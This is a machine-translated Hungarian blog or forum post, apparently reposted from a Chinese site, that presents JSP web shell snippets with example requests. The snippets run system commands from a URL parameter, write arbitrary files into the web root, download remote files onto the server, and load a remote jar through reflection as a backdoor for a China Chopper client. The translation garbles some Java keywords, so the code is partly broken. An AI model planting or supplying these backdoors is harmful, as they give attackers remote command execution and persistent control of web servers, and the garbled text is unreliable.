|
|
Közzétéve 2015. 01. 02. 18:46:57
|
|
|
|

Áthelyezve: http://p2j.cn/?p=1627 1. Rendszerparancsok végrehajtása: Rendszerparancsokat futtatni visszhang nélkül: <%Runtime.getRuntime().exec(request.getParameter("i"));%> Kérés: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls A végrehajtás után nem lesz visszhang, ami nagyon kényelmes a pattogó lövedékek számára. A jelszó-ellenőrzés visszhangjai is vannak: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = új bájt[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(új String(b)); } out.print("</pre>); }%> Kérés: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Kódoljuk be a stringet, és írd meg a megadott fájlba: 1: <%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes();%> Kérés: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Írj a webes könyvtárba: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes();%> Kérés: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Kérés: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Írj a webes könyvtárba: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Kérés: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Töltsd le a távoli fájlt (ha nem használod az Apache io utils-t, nem tudod a bemeneti áramot bájttá konvertálni, így nagyon hosszú...) <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = új bájt[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; míg ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> Kérés: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Töltsd le a webes útra: <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = új bájt[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; míg ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> Kérés: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Négy: A visszatükröződés a külső üveget nevezi, tökéletesítse a hátsó ajtót Ha nem tetszik a fent említett hátsó ajtó funkció túl gyenge és elavult, próbálkozhatsz ezzel: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})))).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> Kérés: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Konyhakés csatlakozás: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, jelszó 023.
Megoldás: Használd a reflektorálást, hogy egy külső jar-t tegyél be a jelenlegi alkalmazásba, és a visszaverődés végrehajtja a kimeneti feldolgozási eredményt. request.getParameterMap() tartalmazza az összes kért paramétert. Mivel a külső jar csomag be van töltve, a szervernek hozzá kell férnie ehhez a jar címhez. |
Előző:A TXT szövegfájl válságaKövetkező:Java MD5 titkosítás, Base64 titkosítás és dekódolás A Java végrehajtja a rendszerparancs forráskódját
|